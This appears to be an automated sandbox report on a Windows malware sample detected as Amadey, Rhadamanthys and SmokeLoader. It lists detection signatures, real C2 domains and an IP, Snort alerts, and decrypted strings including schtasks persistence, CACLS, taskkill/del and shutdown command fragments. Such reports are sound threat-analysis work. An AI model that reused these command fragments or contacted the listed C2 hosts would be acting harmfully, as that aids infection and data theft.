Windows Analysis Report
e7CLP6462y.exe

Overview

General Information

Sample name: e7CLP6462y.exe
renamed because original name is a hash value
Original sample name: d9a13bb5645fe754cdc2a10a638660f4.exe
Analysis ID: 1422947
MD5: d9a13bb5645fe754cdc2a10a638660f4
SHA1: 9922a24b92892f920430ae204954dc6e6e1758ff
SHA256: 82a6847b83bf25cb582bb942735a32197bd9b7b490ce50f34c4976005f4f9bed
Tags: exe
Infos:

Detection

Amadey, RHADAMANTHYS, SmokeLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Benign windows process drops PE files
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Amadey
Yara detected Amadeys Clipper DLL
Yara detected Amadeys stealer DLL
Yara detected RHADAMANTHYS Stealer
Yara detected SmokeLoader
.NET source code contains potential unpacker
Adds a directory exclusion to Windows Defender
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if the current machine is a virtual machine (disk enumeration)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Creates an undocumented autostart registry key
Found many strings related to Crypto-Wallets (likely being stolen)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Sample uses string decryption to hide its real strings
Sigma detected: Bypass UAC via Fodhelper.exe
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Uses netsh to modify the Windows network and firewall settings
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to detect virtual machines (STR)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Tries to load missing DLLs
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara detected Keylogger Generic
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Rhadamanthys According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.
  • Sandworm
 https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys
Name Description Attribution Blogpost URLs Link
SmokeLoader The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.
  • SMOKY SPIDER
 https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: e7CLP6462y.exe Avira: detected
Antivirus detection for URL or domain
Source: http://atillapro.com/vsdjcn3khS/index.php?wal=1 Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/index.php?scr=1 Avira URL Cloud: Label: malware
Source: http://atillapro.com/Mozilla/5.0 Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll Avira URL Cloud: Label: malware
Source: atillapro.com/vsdjcn3khS/index.php Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/index.php Avira URL Cloud: Label: malware
Source: https://atillapro.com/ Avira URL Cloud: Label: malware
Source: http://atillapro.com/ Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\B677.exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll Avira: detection malicious, Label: TR/PSW.Agent.uwaig
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll Avira: detection malicious, Label: TR/Agent.ktqfn
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll Avira: detection malicious, Label: TR/PSW.Agent.uwaig
Source: C:\Users\user\AppData\Roaming\utihrjr Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Avira: detection malicious, Label: TR/AD.Nekark.nsorh
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Avira: detection malicious, Label: TR/AD.Nekark.nsorh
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll Avira: detection malicious, Label: TR/Agent.ktqfn
Found malware configuration
Source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://atillapro.com/", "https://atillapro.com/"]}
Source: 21.0.Utsysc.exe.eb0000.0.unpack Malware Configuration Extractor: Amadey {"C2 url": "atillapro.com/vsdjcn3khS/index.php", "Version": "4.12"}
Multi AV Scanner detection for domain / URL
Source: atillapro.com Virustotal: Detection: 16% Perma Link
Source: http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll Virustotal: Detection: 12% Perma Link
Source: http://atillapro.com/vsdjcn3khS/index.php?wal=1 Virustotal: Detection: 12% Perma Link
Source: http://atillapro.com/vsdjcn3khS/index.php?scr=1 Virustotal: Detection: 12% Perma Link
Source: http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll Virustotal: Detection: 12% Perma Link
Source: http://atillapro.com/vsdjcn3khS/index.php Virustotal: Detection: 15% Perma Link
Source: http://atillapro.com/Mozilla/5.0 Virustotal: Detection: 12% Perma Link
Source: atillapro.com/vsdjcn3khS/index.php Virustotal: Detection: 15% Perma Link
Source: http://atillapro.com/ Virustotal: Detection: 16% Perma Link
Source: https://atillapro.com/ Virustotal: Detection: 15% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll Virustotal: Detection: 70% Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll Virustotal: Detection: 69% Perma Link
Source: C:\Users\user\AppData\Local\Temp\B677.exe ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\B677.exe Virustotal: Detection: 67% Perma Link
Source: C:\Users\user\AppData\Local\Temp\B88B.exe ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Virustotal: Detection: 75% Perma Link
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Virustotal: Detection: 75% Perma Link
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll Virustotal: Detection: 69% Perma Link
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll Virustotal: Detection: 70% Perma Link
Multi AV Scanner detection for submitted file
Source: e7CLP6462y.exe ReversingLabs: Detection: 57%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\utihrjr Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: atillapro.com
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: /vsdjcn3khS/index.php
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: S-%lu-
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: bb8ef99577
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Utsysc.exe
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: SCHTASKS
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: /Create /SC MINUTE /MO 1 /TN
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: /TR "
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Startup
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: cmd /C RMDIR /s/q
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: rundll32
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: /Delete /TN "
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Programs
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: %USERPROFILE%
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: cred.dll|clip.dll|
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: http://
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: https://
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: /Plugins/
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: &unit=
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: shell32.dll
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: kernel32.dll
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: GetNativeSystemInfo
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: ProgramData\
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: AVAST Software
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Kaspersky Lab
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Panda Security
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Doctor Web
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: 360TotalSecurity
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Bitdefender
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Norton
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Sophos
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Comodo
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: WinDefender
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: 0123456789
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: ------
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: ?scr=1
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: ComputerName
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: -unicode-
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: VideoID
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: DefaultSettings.XResolution
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: DefaultSettings.YResolution
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: ProductName
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: CurrentBuild
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: echo Y|CACLS "
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: " /P "
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: CACLS "
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: :R" /E
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: :F" /E
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: &&Exit
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: rundll32.exe
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: "taskkill /f /im "
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: " && timeout 1 && del
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: && Exit"
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: " && ren
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: Powershell.exe
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: -executionpolicy remotesigned -File "
Source: 21.0.Utsysc.exe.eb0000.0.unpack String decryptor: shutdown -s -t 0
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EDFF7C CryptUnprotectData, 2_3_00007DF486EDFF7C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF3098 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,CryptUnprotectData,DeleteFileW, 17_2_00BF3098
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF3717 GetTempPathW,GetTempFileNameW,DeleteFileW,CopyFileW,RtlCompareMemory,RtlZeroMemory,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,CryptUnprotectData,lstrlen,lstrlen,wsprintfA,lstrlen,lstrcat,lstrlen,DeleteFileW, 17_2_00BF3717
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF3E04 RtlCompareMemory,CryptUnprotectData, 17_2_00BF3E04
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF1198 CryptBinaryToStringA,CryptBinaryToStringA, 17_2_00BF1198
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF11E1 lstrcmpiW,lstrlenW,CryptStringToBinaryW,CryptStringToBinaryW,CryptStringToBinaryW, 17_2_00BF11E1
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF123B lstrlen,CryptStringToBinaryA,CryptStringToBinaryA, 17_2_00BF123B
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF1FCE CryptUnprotectData,RtlMoveMemory, 17_2_00BF1FCE
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_004D26AC lstrlen,CryptBinaryToStringA,CryptBinaryToStringA, 22_2_004D26AC
Uses 32bit PE files
Source: e7CLP6462y.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernel32.pdb source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719763335.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719855740.00000000052E0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831[ source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernelbase.pdb source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntdll.pdb source: e7CLP6462y.exe, 00000000.00000003.1716128764.0000000003D00000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1715329018.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719048022.00000000053B0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1718846921.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2334511142.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2335763983.0000000003CF0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716354790.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716476397.0000000003CB0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719418015.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719578576.0000000005360000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntdll.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716128764.0000000003D00000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1715329018.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719048022.00000000053B0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1718846921.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2334511142.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2335763983.0000000003CF0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: e7CLP6462y.exe, 00000000.00000003.1716354790.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716476397.0000000003CB0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719418015.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719578576.0000000005360000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdbi source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernel32.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719763335.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719855740.00000000052E0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wkernelbase.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\Spaso\Documents\SuperSonicMaster\SuperSonicMaster\obj\x64\Release\SuperSonicMaster.pdb source: OpenWith.exe, 00000002.00000003.1977606668.000002427DA81000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1977509222.000002427DD2B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027404955.0000018E5F34A000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027486844.0000018E5F5A0000.00000004.08000000.00040000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027635250.0000018E5F781000.00000004.00000800.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose, 17_2_00BF2B15
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose, 17_2_00BF1D4A
Source: C:\Windows\SysWOW64\explorer.exe Code function: 17_2_00BF3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose, 17_2_00BF3ED9
Source: C:\Windows\explorer.exe Code function: 20_2_009E30A8 FindFirstFileW,FindNextFileW,FindClose, 20_2_009E30A8
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Code function: 21_2_00EF158F FindFirstFileExW,_free,FindNextFileW,_free,FindClose,_free, 21_2_00EF158F
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_004D255C lstrcatW,PathAppendW,FindFirstFileW,RtlZeroMemory,lstrcatW,PathAppendW,lstrcatW,PathAppendW,StrStrIW,FindNextFileW,FindClose, 22_2_004D255C
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EE8E20 GetLogicalDriveStringsW, 2_3_00007DF486EE8E20
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default\AppData Jump to behavior
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default Jump to behavior
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore Jump to behavior
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization Jump to behavior
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default\AppData\Local Jump to behavior
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\Default\AppData\Local\Microsoft Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\System32\OpenWith.exe Code function: 4x nop then dec esp 2_3_00007DF486EEBFA1
Source: C:\Windows\System32\OpenWith.exe Code function: 4x nop then dec esp 2_2_000002427BB70511
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Code function: 4x nop then dec esp 6_2_0000018E5D845641

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49739 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.4:49740 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49740 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2856151 ETPRO TROJAN Amadey CnC Activity M7 192.168.2.4:49747 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2855239 ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) 192.168.2.4:49749 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49744 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2855240 ETPRO TROJAN Win32/Amadey Stealer Activity M5 (POST) 192.168.2.4:49749 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49751 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49755 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49759 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49763 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49767 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49770 -> 185.196.8.137:80
Source: Traffic Snort IDS: 2044597 ET TROJAN Amadey Bot Activity (POST) M1 192.168.2.4:49774 -> 185.196.8.137:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 185.196.8.137 80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://atillapro.com/
Source: Malware configuration extractor URLs: https://atillapro.com/
Source: Malware configuration extractor URLs: atillapro.com/vsdjcn3khS/index.php
Downloads executable code via HTTP
